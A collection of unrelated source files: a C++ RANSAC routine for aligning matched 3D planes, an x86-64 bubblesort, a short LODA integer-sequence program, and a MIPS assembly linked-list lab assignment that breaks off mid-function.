Matrix3f hessian = Matrix3f::Zero();
Vector3f gradient = Vector3f::Zero();
hessian(0, 0) = 1;
for (unsigned i = 0; i < 3; i++)
{
float trans_error =
(matched_planes(3, i) - matched_planes(7, i)); //+n*t
// hessian += matched_planes.block(i,0,1,3) *
// matched_planes.block(i,0,1,3).transpose();
// gradient += matched_planes.block(i,0,1,3) * trans_error;
Vector3f n_i = Vector3f(
matched_planes(0, i), matched_planes(1, i), matched_planes(2, i));
hessian += n_i * n_i.transpose();
gradient += n_i * trans_error;
}
translation = -hessian.inverse() * gradient;
// cout << "Previous average translation error " << sumError /
// matched_planes.size() << endl;
// // Form SE3 transformation matrix. This matrix maps the model into the
// current data reference frame
// Eigen::Matrix4f rigidTransf;
// rigidTransf.block(0,0,3,3) = Rotation;
// rigidTransf.block(0,3,3,1) = translation;
// rigidTransf.row(3) << 0,0,0,1;
CMatrixDouble rigidTransf(4, 4);
rigidTransf(0, 0) = Rotation(0, 0);
rigidTransf(0, 1) = Rotation(0, 1);
rigidTransf(0, 2) = Rotation(0, 2);
rigidTransf(1, 0) = Rotation(1, 0);
rigidTransf(1, 1) = Rotation(1, 1);
rigidTransf(1, 2) = Rotation(1, 2);
rigidTransf(2, 0) = Rotation(2, 0);
rigidTransf(2, 1) = Rotation(2, 1);
rigidTransf(2, 2) = Rotation(2, 2);
rigidTransf(0, 3) = translation(0);
rigidTransf(1, 3) = translation(1);
rigidTransf(2, 3) = translation(2);
rigidTransf(3, 0) = 0;
rigidTransf(3, 1) = 0;
rigidTransf(3, 2) = 0;
rigidTransf(3, 3) = 1;
return rigidTransf;
}
// Ransac functions to detect outliers in the plane matching
void ransacPlaneAlignment_fit(
const CMatrixDouble& planeCorresp, const std::vector<size_t>& useIndices,
vector<CMatrixDouble>& fitModels)
// vector< Eigen::Matrix4f > &fitModels )
{
ASSERT_(useIndices.size() == 3);
try
{
CMatrixDouble corresp(8, 3);
// cout << "Size planeCorresp: " << endl;
// cout << "useIndices " << useIndices[0] << " " << useIndices[1] << "
// " << useIndices[2] << endl;
for (unsigned i = 0; i < 3; i++)
corresp.col(i) = planeCorresp.col(useIndices[i]);
fitModels.resize(1);
// Eigen::Matrix4f &M = fitModels[0];
CMatrixDouble& M = fitModels[0];
M = getAlignment(corresp);
}
catch (exception&)
{
fitModels.clear();
return;
}
}
void ransac3Dplane_distance(
const CMatrixDouble& planeCorresp, const vector<CMatrixDouble>& testModels,
const double distanceThreshold, unsigned int& out_bestModelIndex,
std::vector<size_t>& out_inlierIndices)
{
ASSERT_(testModels.size() == 1);
out_bestModelIndex = 0;
const CMatrixDouble& M = testModels[0];
Eigen::Matrix3f Rotation;
Rotation << M(0, 0), M(0, 1), M(0, 2), M(1, 0), M(1, 1), M(1, 2), M(2, 0),
M(2, 1), M(2, 2);
Eigen::Vector3f translation;
translation << M(0, 3), M(1, 3), M(2, 3);
ASSERT_(M.rows() == 4 && M.cols() == 4);
const size_t N = planeCorresp.cols();
out_inlierIndices.clear();
out_inlierIndices.reserve(100);
for (size_t i = 0; i < N; i++)
{
const Eigen::Vector3f n_i = Eigen::Vector3f(
planeCorresp(0, i), planeCorresp(1, i), planeCorresp(2, i));
const Eigen::Vector3f n_ii =
Rotation *
Eigen::Vector3f(
planeCorresp(4, i), planeCorresp(5, i), planeCorresp(6, i));
const float d_error = fabs(
(planeCorresp(7, i) - translation.dot(n_i)) - planeCorresp(3, i));
const float angle_error = (n_i.cross(n_ii)).norm();
if (d_error < distanceThreshold)
if (angle_error < distanceThreshold) // Warning: this threshold has
// a different dimension
out_inlierIndices.push_back(i);
}
}
/** Return "true" if the selected points are a degenerate (invalid) case.
*/
bool ransac3Dplane_degenerate(
const CMatrixDouble& planeCorresp, const std::vector<size_t>& useIndices)
{
ASSERT_(useIndices.size() == 3);
const Eigen::Vector3f n_1 = Eigen::Vector3f(
planeCorresp(0, useIndices[0]), planeCorresp(1, useIndices[0]),
planeCorresp(2, useIndices[0]));
const Eigen::Vector3f n_2 = Eigen::Vector3f(
planeCorresp(0, useIndices[1]), planeCorresp(1, useIndices[1]),
planeCorresp(2, useIndices[1]));
const Eigen::Vector3f n_3 = Eigen::Vector3f(
planeCorresp(0, useIndices[2]), planeCorresp(1, useIndices[2]),
planeCorresp(2, useIndices[2]));
// cout << "degenerate " << useIndices[0] << " " << useIndices[1] << " " <<
// useIndices[2] << " - " << fabs(n_1. dot( n_2. cross(n_3) ) ) << endl;
if (fabs(n_1.dot(n_2.cross(n_3))) < 0.9) return true;
return false;
}
// ------------------------------------------------------
// TestRANSAC
// ------------------------------------------------------
Eigen::Matrix4f ConsistencyTest::estimatePoseRANSAC(
std::map<unsigned, unsigned>& matched_planes)
{
// assert(matched_planes.size() >= 3);
// CTicTac tictac;
if (matched_planes.size() <= 3)
{
cout << "Insuficient matched planes " << matched_planes.size() << endl;
return Eigen::Matrix4f::Identity();
}
CMatrixDouble planeCorresp(8, matched_planes.size());
unsigned col = 0;
for (auto it = matched_planes.begin(); it != matched_planes.end();
it++, col++)
{
planeCorresp(0, col) = PBMSource.vPlanes[it->first].v3normal(0);
planeCorresp(1, col) = PBMSource.vPlanes[it->first].v3normal(1);
planeCorresp(2, col) = PBMSource.vPlanes[it->first].v3normal(2);
planeCorresp(3, col) = PBMSource.vPlanes[it->first].d;
planeCorresp(4, col) = PBMTarget.vPlanes[it->second].v3normal(0);
planeCorresp(5, col) = PBMTarget.vPlanes[it->second].v3normal(1);
planeCorresp(6, col) = PBMTarget.vPlanes[it->second].v3normal(2);
planeCorresp(7, col) = PBMTarget.vPlanes[it->second].d;
}
// cout << "Size " << matched_planes.size() << " " << size(1) << endl;
std::vector<size_t> inliers;
// Eigen::Matrix4f best_model;
CMatrixDouble best_model;
math::RANSAC ransac_executer;
ransac_executer.execute(
planeCorresp, ransacPlaneAlignment_fit, ransac3Dplane_distance,
ransac3Dplane_degenerate, 0.2,
3, // Minimum set of points
inliers, best_model,
true, // Verbose
0.99999);
// cout << "Computation time: " << tictac.Tac()*1000.0/TIMES << " ms" <<
// endl;
cout << "Size planeCorresp: " << planeCorresp.cols() << endl;
cout << "RANSAC finished: " << inliers.size() << " inliers: " << inliers
<< " . \nBest model: \n"
<< best_model << endl;
// cout << "Best inliers: " << best_inliers << endl;
Eigen::Matrix4f rigidTransf;
rigidTransf << best_model(0, 0), best_model(0, 1), best_model(0, 2),
best_model(0, 3), best_model(1, 0), best_model(1, 1), best_model(1, 2),
best_model(1, 3), best_model(2, 0), best_model(2, 1), best_model(2, 2),
best_model(2, 3), 0, 0, 0, 1;
// return best_model;
return rigidTransf;
}
// using namespace mrpt;
// ////using namespace mrpt::gui;
// using namespace mrpt::math;
// using namespace mrpt::random;
// using namespace std;
//
// void ransac3Dplane_fit(
// const CMatrixDouble &allData,
// const std::vector<size_t> &useIndices,
// vector< CMatrixDouble > &fitModels )
//{
// ASSERT_(useIndices.size()==3);
//
// TPoint3D p1(
// allData(0,useIndices[0]),allData(1,useIndices[0]),allData(2,useIndices[0]) );
// TPoint3D p2(
// allData(0,useIndices[1]),allData(1,useIndices[1]),allData(2,useIndices[1]) );
// TPoint3D p3(
// allData(0,useIndices[2]),allData(1,useIndices[2]),allData(2,useIndices[2]) );
//
// try
// {
// TPlane plane( p1,p2,p3 );
// fitModels.resize(1);
// CMatrixDouble &M = fitModels[0];
//
// M.setSize(1,4);
// for (size_t i=0;i<4;i++)
// M(0,i)=plane.coefs[i];
// }
// catch(exception &)
// {
// fitModels.clear();
// return;
// }
//
//
//
//}
//
// void ransac3Dplane_distance(
// const CMatrixDouble &allData,
// const vector< CMatrixDouble > & testModels,
// const double distanceThreshold,
// unsigned int & out_bestModelIndex,
// std::vector<size_t> & out_inlierIndices )
//{
// ASSERT_( testModels.size()==1 )
// out_bestModelIndex = 0;
// const CMatrixDouble &M = testModels[0];
//
// ASSERT_( size(M,1)==1 && size(M,2)==4 )
//
// TPlane plane;
// plane.coefs[0] = M(0,0);
// plane.coefs[1] = M(0,1);
// plane.coefs[2] = M(0,2);
// plane.coefs[3] = M(0,3);
//
// const size_t N = size(allData,2);
// out_inlierIndices.clear();
// out_inlierIndices.reserve(100);
// for (size_t i=0;i<N;i++)
// {
// const double d = plane.distance( TPoint3D(
// allData.get_unsafe(0,i),allData.get_unsafe(1,i),allData.get_unsafe(2,i) ) );
// if (d<distanceThreshold)
// out_inlierIndices.push_back(i);
// }
//}
//
///** Return "true" if the selected points are a degenerate (invalid) case.
// */
// bool ransac3Dplane_degenerate(
// const CMatrixDouble &allData,
// const std::vector<size_t> &useIndices )
//{
// return false;
//}
//
//
//// ------------------------------------------------------
//// TestRANSAC
//// ------------------------------------------------------
// void ConsistencyTest::TestRANSAC()
//{
// getRandomGenerator().randomize();
//
// // Generate random points:
// // ------------------------------------
// const size_t N_plane = 300;
// const size_t N_noise = 100;
//
// const double PLANE_EQ[4]={ 1,-1,1, -2 };
//
// CMatrixDouble data(3,N_plane+N_noise);
// for (size_t i=0;i<N_plane;i++)
// {
// const double xx = getRandomGenerator().drawUniform(-3,3);
// const double yy = getRandomGenerator().drawUniform(-3,3);
// const double zz =
//-(PLANE_EQ[3]+PLANE_EQ[0]*xx+PLANE_EQ[1]*yy)/PLANE_EQ[2];
// data(0,i) = xx;
// data(1,i) = yy;
// data(2,i) = zz;
// }
//
// for (size_t i=0;i<N_noise;i++)
// {
// data(0,i+N_plane) = getRandomGenerator().drawUniform(-4,4);
// data(1,i+N_plane) = getRandomGenerator().drawUniform(-4,4);
// data(2,i+N_plane) = getRandomGenerator().drawUniform(-4,4);
// }
//
//
// // Run RANSAC
// // ------------------------------------
// CMatrixDouble best_model;
// std::vector<size_t> best_inliers;
// const double DIST_THRESHOLD = 0.2;
//
//
// CTicTac tictac;
// const size_t TIMES=100;
//
// for (size_t iters=0;iters<TIMES;iters++)
// math::RANSAC::execute(
// data,
// ransac3Dplane_fit,
// ransac3Dplane_distance,
// ransac3Dplane_degenerate,
// DIST_THRESHOLD,
// 3, // Minimum set of points
// best_inliers,
// best_model,
// iters==0 // Verbose
// );
//
// cout << "Computation time: " << tictac.Tac()*1000.0/TIMES << " ms" << endl;
//
// ASSERT_(size(best_model,1)==1 && size(best_model,2)==4)
//
// cout << "RANSAC finished: Best model: " << best_model << endl;
//// cout << "Best inliers: " << best_inliers << endl;
//
// TPlane plane( best_model(0,0),
// best_model(0,1),best_model(0,2),best_model(0,3) );
//
//
//}
|
section .data
section .text
global bubblesort
; this function takes two parametes
; long long array (signed int 64 bit)
; int 32 length of the array
bubblesort:
;;;;;;;;;;;;
; ENTER
;;;;;;;;;;;;
push rbp
mov rbp, rsp
push rbx
push rax
push r10
push r9
push r8
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; ENTRY POINT
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; address of array is stored in rdi due to C++ 64 bit call convention
mov ecx, esi ; get length of array stored in esi
xor rbx, rbx ; rbx = 0
mov r8, rcx ; for y we only loop from 0 to array length - 2 because we need to access index + 1 on each iteration
dec r8
for_x:
for_y:
mov rax, [rdi + 8 * rbx] ; load array[y] into rax
mov r9, [rdi + 8 * rbx + 8] ; load array[y + 1] into r9
cmp rax, r9 ; compare rax and r9
cmova r10, rax ; exchange r9 and rax if rax > r9
cmova rax, r9 ; -
cmova r9, r10 ; -
mov [rdi + 8 * rbx], rax ; put back rax into array[y]
mov [rdi + 8 * rbx + 8], r9 ; put back r9 back into array[y + 1]
inc rbx ; point rbx to next element
cmp rbx, r8 ; compare rbx and r8
jb for_y ; loop y while rbx < length - 2 that is why we increment before cmp
xor rbx, rbx ; reset y loop variable to 0
loop for_x ; loop x while rcx > 0
;;;;;;;;;;;;
; LEAVE
;;;;;;;;;;;;
pop r8
pop r9
pop r10
pop rax
pop rbx
mov rsp, rbp
pop rbp
ret
|
; A103481: Diagonal sums of A103462.
; Submitted by Christian Krause
; 1,1,2,3,4,6,9,16,31,69,168,447,1274,3862,12351,41472,145661,533745,2036158,8071795,33192800,141351726,622384741,2829417288,13263528363,64038928741,318121600708,1624347614751,8517247764150,45822087138894
pow $3,$0
lpb $0
sub $0,2
add $1,1
mov $2,$1
pow $2,$0
add $3,1
add $3,$2
lpe
add $3,$0
mov $0,$3
|
## - -IMPORTANT- -
## The general structure;
##
## -Main menu
## -LinkedList creater
## -LinkedList displayer
##
##is given to you, necessary functions are empty, you have to ##fill them
## efficiently for lab3 part 1.
## Necessary register defined.
##IF YOU READ INSTRUCTIONS CAREFULLY YOU FIGURE OUT THAT IT IS ##NOT DIFFICULT TO HANDLE
#############################t##################################
##
## _Lab3main - a program that calls linked list utility functions,
## depending on user selection. _Lab3main outputs a
## message, then lists the menu options and get the user
## selection, then calls the chosen routine, and repeats
##
## a0 - used for input arguments to syscalls and for passing the
## pointer to the linked list to the utility functions
## a1 - used for 2nd input argument to the utility functions that need it
## a2 - used for 3rd input argument to the utility functions that need it
## v0 - used for input and output values for syscalls
## s0 - used to safely hold the pointer to the linked list
## s1 - used to hold the user input choice of which menu option
##
## linked list consists of 0 or more elements, in
## dynamic memory segment (i.e. heap)
## elements of the linked list contain 2 parts:
## at address z: pointerToNext element (unsigned integer), 4 bytes
## at address z+4: value of the element (signed integer), 4 bytes
##
##
###################################################################
#
#
#
# text segment
#
#
#
####################################################################
.text
.globl _Lab3main
_Lab3main: # execution starts here
li $s0, 0 # initialize pointer storage register to 0 (=Null pointer)
la $a0,msg110 # put msg110 address into a0
li $v0,4 # system call to print
syscall # out the msg110 string
##
## Output the menu to the terminal,
## and get the user's choice
##
##
MenuZ:
la $a0,msg111 # put msg111 address into a0
li $v0,4 # system call to print
syscall # out the msg111 string
la $a0,msg112 # put msg112 address into a0
li $v0,4 # system call to print
syscall # out the msg112 string
la $a0,msg113 # put msg113 address into a0
li $v0,4 # system call to print
syscall # out the msg113 string
la $a0,msg114 # put msg114 address into a0
li $v0,4 # system call to print
syscall # out the msg114 string
la $a0,msg115 # put msg115 address into a0
li $v0,4 # system call to print
syscall # out the msg115 string
la $a0,msg116 # put msg116 address into a0
li $v0,4 # system call to print
syscall # out the msg116 string
la $a0,msg117 # put msg117 address into a0
li $v0,4 # system call to print
syscall # out the msg117 string
la $a0,msg133 # put msg118 address into a0
li $v0,4 # system call to print
syscall # out the msg118 string
la $a0,msg134 # put msg118 address into a0
li $v0,4 # system call to print
syscall # out the msg118 string
la $a0,msg135 # put msg118 address into a0
li $v0,4 # system call to print
syscall # out the msg118 string
la $a0,msg136 # put msg118 address into a0
li $v0,4 # system call to print
syscall # out the msg118 string
la $a0,msg118 # put msg118 address into a0
li $v0,4 # system call to print
syscall # out the msg118 string
EnterChoice:
la $a0,msg119 # put msg119 address into a0
li $v0,4 # system call to print
syscall # out the msg119 string
li $v0,5 # system call to read
syscall # in the integer
move $s1, $v0 # move choice into $s1
##
##
## T1 through T7no use an if-else tree to test the user choice (in $s1)
## and act on it by calling the correct routine
##
##
T1: bne $s1,1, T2 # if s1 = 1, do these things. Else go to T2 test
jal create_list
move $s0, $v0 # put pointer to linked list in s0 for safe storage
j MenuZ # task is done, go to top of menu and repeat
T2: bne $s1,2, T3 # if s1 = 2, do these things. Else go to T3 test
move $a0, $s0 # put pointer to linked list in a0 before the call
jal display_list
j MenuZ # task is done, go to top of menu and repeat
T3: bne $s1,3, T4 # if s1 = 3, do these things. Else go to T4 test
la $a0,msg120 # put msg120 address into a0
li $v0,4 # system call to print
syscall # out the msg120 string
li $v0,5 # system call to read
syscall # in the integer
move $a1, $v0 # put integer value into a1 before the call
move $a0, $s0 # put pointer to linked list in a0 before the call
j ReportZ
T4: bne $s1,4, T5 # if s1 = 4, do these things. Else go to T5 test
la $a0,msg120 # put msg120 address into a0
li $v0,4 # system call to print
syscall # out the msg120 string
li $v0,5 # system call to read
syscall # in the value
move $a1, $v0 # put integer value into a1 before the call
la $a0,msg124 # put msg124 address into a0
li $v0,4 # system call to print
syscall # out the msg124 string
li $v0,5 # system call to read
syscall # in the position number
move $a2, $v0 # put position number into a2 before the call
move $a0, $s0 # put pointer to linked list in a0 before the call
jal Insert_n
move $s0, $v1 # put the (possibly revised) pointer into s0
j ReportZ
T5: bne $s1,5, T6 # if s1 = 5, do these things. Else go to T6 test
la $a0,msg125 # put msg125 address into a0
li $v0,4 # system call to print
syscall # out the msg125 string
li $v0,5 # system call to read
syscall # in the position number
move $a1, $v0 # put position number into a1 before the call
move $a0, $s0 # put pointer to linked list in a0 before the call
jal Delete_n
move $s0, $v1 # put the (possibly revised) pointer into s0
j ReportZ
T6: bne $s1,6, T7 # if s1 = 6, do these things. Else go to T7 test
la $a0,msg126 # put msg126 address into a0
li $v0,4 # system call to print
syscall # out the msg126 string
li $v0,5 # system call to read
syscall # in the value x
move $a1, $v0 # put x value into a1 before the call
move $a0, $s0 # put pointer to linked list in a0 before the call
jal Delete_x
move $a0, $v0
li $v0, 1
syscall
la $a0, end
li $v0, 4
syscall
move $s0, $v1 # put the (possibly revised) pointer into s0
j ReportZ
T7:
bne $s1,7, T8 # if s1 = 6, do these things. Else go to T7 test
la $a0,msg # put msg126 address into a0
li $v0,4 # system call to print
syscall # out the msg126 string
li $v0,5 # system call to read
syscall # in the value x
move $a1, $v0 # put x value into a1 before the call
move $a0, $s0 # put pointer to linked list in a0 before the call
jal SwapNodes
move $s0, $v1 # put the (possibly revised) pointer into s0
j ReportZ
T8:
bne $s1,8, T9 # if s1 = 6, do these things. Else go to T7 test
la $a0,msg2 # put msg126 address into a0
li $v0,4 # system call to print
syscall # out the msg126 string
li $v0,5 # system call to read
syscall # in the value x
move $a1, $v0 # put x value into a1 before the call
move $a0, $s0 # put pointer to linked list in a0 before the call
jal AddNodes
move $s0, $v1 # put the (possibly revised) pointer into s0
j ReportZ
T9:
bne $s1,9, T10 # if s1 = 6, do these things. Else go to T7 test
la $a0,msg3 # put msg126 address into a0
li $v0,4 # system call to print
syscall # out the msg126 string
li $v0,5 # system call to read
syscall # in the value x
move $a1, $v0 # put x value into a1 before the call
la $a0,msg4 # put msg126 address into a0
li $v0,4 # system call to print
syscall # out the msg126 string
li $v0,5 # system call to read
syscall # in the value x
move $a2, $v0 # put x value into a1 before the call
move $a0, $s0 # put pointer to linked list in a0 before the call
jal FindSumInRange
move $t0, $v0
la $a0, com2
li $v0, 4
syscall
move $a0, $t0
li $v0, 1
syscall
la $a0, end
li $v0, 4
syscall
move $s0, $v1 # put the (possibly revised) pointer into s0
j ReportZ
T10:
bne $s1,10, T11 # if s1 = 6, do these things. Else go to T7 test
jal create_list
move $s0, $v0
jal create_list
move $s1, $v0
move $a1, $s1
move $a0, $s0
jal CountCommonValues
move $t0, $v0
la $a0, com
li $v0, 4
syscall
move $a0, $t0
li $v0, 1
syscall
la $a0, end
li $v0, 4
syscall
move $s0, $v1
j ReportZ
T11: bne $s1,11, T11no # if s1 = 7, do these things. Else go to T7no
la $a0,msg127 # put msg127 address into a0
li $v0,4 # system call to print
syscall # out the thank you string
li $v0,10
# the exit syscall is 10
syscall # goodbye...
T11no:
la $a0,msg128 # put msg128 address into a0
li $v0,4 # system call to print
syscall # out the msg128 string
j EnterChoice # go to the place to enter the choice
##
##
## ReportZ determines if the return value in $v0 is
## 0 for success, -1 for failure, or other (invalid)
##
##
ReportZ: beq $v0,0,Succeed
beq $v0,-1,Fail
Invalid: la $a0,msg130 # put msg130 address into a0
li $v0,4 # system call to print
syscall # out the invalid message
j MenuZ # task is done, go to top of menu and repeat
Succeed: la $a0,msg131 # put msg131 address into a0
li $v0,4 # system call to print
syscall # out the success message
j MenuZ # task is done, go to top of menu and repeat
Fail: la $a0,msg132 # put msg132 address into a0
li $v0,4 # system call to print
syscall # out the failure message
j MenuZ # task is done, go to top of menu and repeat
###################################################################
##
#### create_list - a linked list utility routine,
## which creates the contents, element
## by element, of a linked list
##
## a0 - used for input arguments to syscalls
## s0 - holds final value of pointer to linked list (to be put in v0 at exit)
## t0 - temp value, holds # of current element being created; is loop control variable
## t1 - temp value, holds n+1, where n is the user input for length of list
## s1 - value of pointer to current element
## s2 - value of pointer to previous element
## v0 - used as input value for syscalls (1, 4, 5 and 9),
## but also for the return value, to hold the address of the
## first element in the newly-created linked list
## sp - stack pointer, used for saving s-register values on stack
##
##################################################################
create_list: # entry point for this utility routine
addi $sp,$sp,-12 # make room on stack for 3 new items
sw $s0, 8 ($sp) # push $s0 value onto stack
sw $s1, 4 ($sp) # push $s1 value onto stack
sw $s2, 0 ($sp) # push $s2 value onto stack
la $a0, msg91 # put msg91 address into a0
li $v0,4 # system call to print
syscall # out the msg91 string
la $a0, msg92 # put msg92 address into a0
li $v0,4 # system call to print
syscall # out the msg92 string
li $v0,5 # system call to read
syscall # in the integer
addi $t1,$v0,1 # put limit value of n+1 into t1 for loop testing
bne $v0, $zero, devam90 #if n = 0, finish up and leave
la $a0, msg93 # put msg93 address into a0
li $v0,4 # system call to print
syscall # out the msg93 string
move $s0, $zero # the pointer to the 0-element list will be Null
j Finish90 #
devam90: # continue here if n>0
li $t0, 1 # t=1
li $a0, 16 # get 16 bytes of heap from OS
li $v0, 9 # syscall for sbrk (dynamic memory allocation)
syscall
move $s0, $v0 # the final value of list pointer is put in $s0
move $s1, $v0 # the pointer to the current element in the list is put in $s1
j Prompt90 #
Top90: move $s2, $s1 # pointer to previous element is updated with pointer to current element
sll $t2,$t0,4 # $t2 is 16 x the number of the current element ($t0)
move $a0, $t2 # get $t2 bytes of heap from OS
li $v0, 9 # syscall for sbrk (dynamic memory allocation)
syscall
move $s1, $v0 # the pointer to the new current element in the list is put in $s1
sw $s1, 0($s2) # the previous element's pointerToNext is loaded with the new element's address
Prompt90: la $a0,msg94 # put msg94 address into a0
li $v0,4 # system call to print
syscall # out the msg94 string
move $a0, $t0 # put x (the current element #) in $a0
li $v0,1 # system call to print
syscall # out the integer in $a0
la $a0, msg95 # put msg95 address into a0
li $v0,4 # system call to print
syscall # out the msg95 string
li $v0, 5 # system call to read in
syscall # the integer from user
sw $v0, 4($s1) # store the value from user into
# current element's value part
addi $t0,$t0,1 # x = x+1 increment element count
bne $t0,$t1, Top90 # If x != n+1, go back to top of loop and iterate again
sw $0,0($s1) # Put Null value into pointerToNext part of last element in list
Finish90: move $v0,$s0 # put pointer to linked list in $v0 before return
lw $s0, 8 ($sp) # restore $s0 value from stack
lw $s1, 4 ($sp) # restore $s1 value from stack
lw $s2, 0 ($sp) # restore $s2 value from stack
addi $sp,$sp,12 # restore $sp to original value (i.e. pop 3 items)
jr $ra # return to point of call
##################################################################
#### display_list - a linked list utility routine,
## which shows the contents, element
## by element, of a linked list
##
## a0 - input argument: points to the linked list, i.e. contains
## the address of the first element in the list
## s0 - current pointer, to element being displayed
## s1 - value of pointerToNext part of current element
## v0 - used only as input value to syscalls (1, 4, and 34)
## sp - stack pointer is used, for protecting s0 and s1
##
#################################################################
display_list: # entry point for this utility routine
addi $sp, $sp,-8 # make room on stack for 2 new items
sw $s0, 4 ($sp) # push $s0 value onto stack
sw $s1, 0 ($sp) # push $s1 value onto stack
move $s0, $a0 # put the pointer to the current element in $s0
la $a0, msg81 # put msg81 address into a0
li $v0, 4 # system call to print
syscall # out the msg81 string
bne $s0, $zero, devam80 # if pointer is NULL, there is no list
la $a0, msg82 # put msg82 address into a0
li $v0, 4 # system call to print
syscall # out the msg82 string
j Return80 # done, so go home
devam80: # top of loop
la $a0, msg83 # put msg83 address into a0
li $v0, 4 # system call to print
syscall # out the msg83 string
lw $s1, ($s0) # read the value of pointerToNext
move $a0, $s1 # put the pointerToNext value into a0
li $v0, 34 # system call to print out the integer
syscall # in hex format
la $a0, msg84 # put msg84 address into a0
li $v0, 4 # system call to print
syscall # out the msg84 string
lw $a0, 4($s0) # read the value part, put into a0
li $v0, 1 # system call to print
syscall # out the integer
la $a0, msg85 # put msg85 address into a0
li $v0, 4 # system call to print
syscall # out the msg85 string (new line)
Top80: beq $s1, $zero, Return80 # if pointerToNext is NULL, there are no more elements
la $a0, msg86 # put msg86 address into a0
li $v0, 4 # system call to print
syscall # out the msg86 string
move $s0, $s1 # update the current pointer, to point to the new element
lw $s1, ($s0) # read the value of pointerToNext in current element
move $a0, $s1 # put the pointerToNext value into a0
li $v0, 34 # system call to print out the integer
syscall # in hex format
la $a0, msg84 # put msg84 address into a0
li $v0, 4 # system call to print
syscall # out the msg84 string
lw $a0, 4($s0) # read the value part, put into a0
li $v0, 1 # system call to print
syscall # out the integer
la $a0, msg85 # put msg85 address into a0
li $v0, 4 # system call to print
syscall # out the msg85 string (new line)
j Top80 # go back to top of loop, to test and
# possibly iterate again
Return80:
la $a0, msg89 # put msg89 address into a0
li $v0, 4 # system call to print
syscall # out the msg89 string
lw $s0, 4 ($sp) # restore $s0 value from stack
lw $s1, 0 ($sp) # restore $s1 value from stack
addi $sp, $sp, 8 # restore $sp to original value (i.e. pop 2 items)
jr $ra # return to point of call
#################################################
##
##
## dummy routines for the 4 utilities which
## students should write for Lab3
##
##
###############################################
#
### Fill Those functions
AddNodes:
addi $sp, $sp, -4
sw $ra, ($sp)
# head in $a0
move $s2, $a0
# node position in $a1
move $t5, $a1
li $t0, 0
# get sum
li $v0, -1
beq $s2, $zero, exiter
beq $t5, 1, addHeader
loopster:
addi $t0, $t0, 1
beq $t0, $a1, moveOner
lw $s2, ($s2)
lw $s4, ($s2)
j loopster
moveOner:
lw $t1, 4($s4)
lw $t2, 4($s2)
add $t3, $t1, $t2
sub $a2, $a1, 1
j conti
addHeader:
lw $s4, ($s2)
lw $t1, 4($s4)
lw $t2, 4($s2)
add $t3, $t1, $t2
move $a2, $a1
addi $a2, $a2, 1
move $a1, $t3
jal Insert_n
li $t5, 0
move $a1, $t5
jal Delete_n
addi $t5, $t5, 2
move $a1, $t5
jal Delete_n
j conti2
conti:
addi $a2, $a2, 1
move $a1, $t3
jal Insert_n
move $a1, $t5
jal Delete_n
addi $t5, $t5, 1
move $a1, $t5
jal Delete_n
conti2:
lw $ra, ($sp)
addi $sp, $sp, 4
li $v0, 0
exiter:
move $v1, $a0
jr $ra
SwapNodes:
# head in $a0
move $s0, $a0
move $s2, $a0
# node position of intial node in $a1
li $t0, 0
li $v0, -1
beq $a1, 1, swapHead
beq $s2, $zero, exity
loopy:
addi $t0, $t0, 1
beq $t0, $a1, moveOn
move $s4, $s2
lw $s2, ($s2)
j loopy
moveOn:
lw $t2, ($s4)
beq $t2, $zero, exity
lw $t2, ($s2)
beq $t2, $zero, exity
li $v0, 0
swap:
# s4 has prev
# s2 has current
lw $t3, ($s2)
# next node
lw $t4, ($t3)
sw $t3, ($s4)
sw $t4, ($s2)
sw $s2, ($t3)
j exity
swapHead:
lw $a0, ($s2)
lw $t1, ($a0)
sw $t1, ($s2)
sw $s2, ($a0)
exity:
move $v1, $a0
jr $ra
CountCommonValues:
# address of linked list 1 in $a0
move $s0, $a0
# address of linked list 2 in $a1
move $s1, $a1
li $v0, 0
# if either list is empty then exit
beq $s0, $zero, exito
beq $s1, $zero, exito
# double loop and count common
fory1:
lw $t2, 4($s0)
move $s1, $a1
fory2:
lw $t3, 4($s1)
beq $t3, $t2, ad
lw $s1, ($s1)
bne $s1, $zero, fory2
j contin
ad:
addi $v0, $v0, 1
contin:
lw $s0, ($s0)
bne $s0, $zero, fory1
exito:
move $v1, $a0
jr $ra
FindSumInRange:
# head in $a0
move $s0, $a0
beq $s0, $zero, exiting
# element 1 in $a1
# element 2 in $a2
addi $sp, $sp, -8
sw $ra, ($sp)
sw $a0, 4($sp)
# go to first element
gogo:
lw $t0, 4($s0)
beq $t0, $a1, continu
lw $s0, ($s0)
j gogo
continu:
move $a0, $s0
li $v0, 0
jal helper
lw $ra, ($sp)
lw $a0, 4($sp)
addi $sp, $sp, 8
exiting:
move $v1, $a0
jr $ra
helper:
addi $sp, $sp, -16
sw $a0, 12($sp)
sw $a2, 4($sp)
sw $ra, ($sp)
lw $a1, 4($a0)
sw $a1, 8($sp)
beq $a1, $a2, continue
j else
continue:
add $v0, $v0, $a1
jr $ra
else:
lw $a0, 12($sp)
lw $a0, ($a0)
add $v0, $v0, $a1
jal helper
lw $ra, ($sp)
addi $sp, $sp, 16
jr $ra
Insert_n:
# pointer to head in $a0
move $s2, $a0
move $s1, $a0
# int value of node in $a1
sub $a2, $a2, 1
# position int in $a2
move $t0, $a2
li $t1, 0
li $v0, -1
# create node
li $a0, 8
li $v0, 9
syscall
move $s4, $v0
sw $a1, 4($s4)
# go to position
beq $s2, $zero, exitAgain
li $v0, 0
looper:
addi $t1, $t1, 1
beq $t1, $t0, add
move $s5, $s2
lw $s2, ($s2)
beq $s2, $zero, add2
j looper
add:
lw $t3, ($s2)
sw $t3, ($s4)
sw $s4, ($s2)
j exitAgain
add2:
lw $t3, ($s5)
sw $t3, ($s4)
sw $s4, ($s5)
exitAgain:
move $a0, $s1
move $v1, $a0
jr $ra
Delete_n:
# pointer in $a0
move $s2, $a0
move $s4, $a0
# for iter
li $t3, 0
li $v0, 0
# position in $a1
sub $t5, $a1, 1
# remove from head
beq $a1, 1, remHead
lw $t6, ($s2)
beq $t6, $zero, remHead
j forer
beq $s2, $zero, done
remHead:
lw $t1, ($a0)
move $a0, $t1
j exit
# remove from node other than head
forer:
addi $t3, $t3, 1
move $s4, $s2
lw $s2, ($s2)
lw $t6, ($s2)
beq $t6, $zero, remImm
bne $t3, $t5, forer
remImm:
lw $t1, ($s2)
sw $t1, ($s4)
j exit
done:
li $v0, -1
exit:
move $v1, $a0
jr $ra
Delete_x:
# pointer in $a0
move $s2, $a0
move $s4, $a0
# for head var
li $t3, 0
li $v0, -1
# int val in $a1
li $t5, 0
loop2:
beq $s2, $zero, done2
# check if data matches $a1
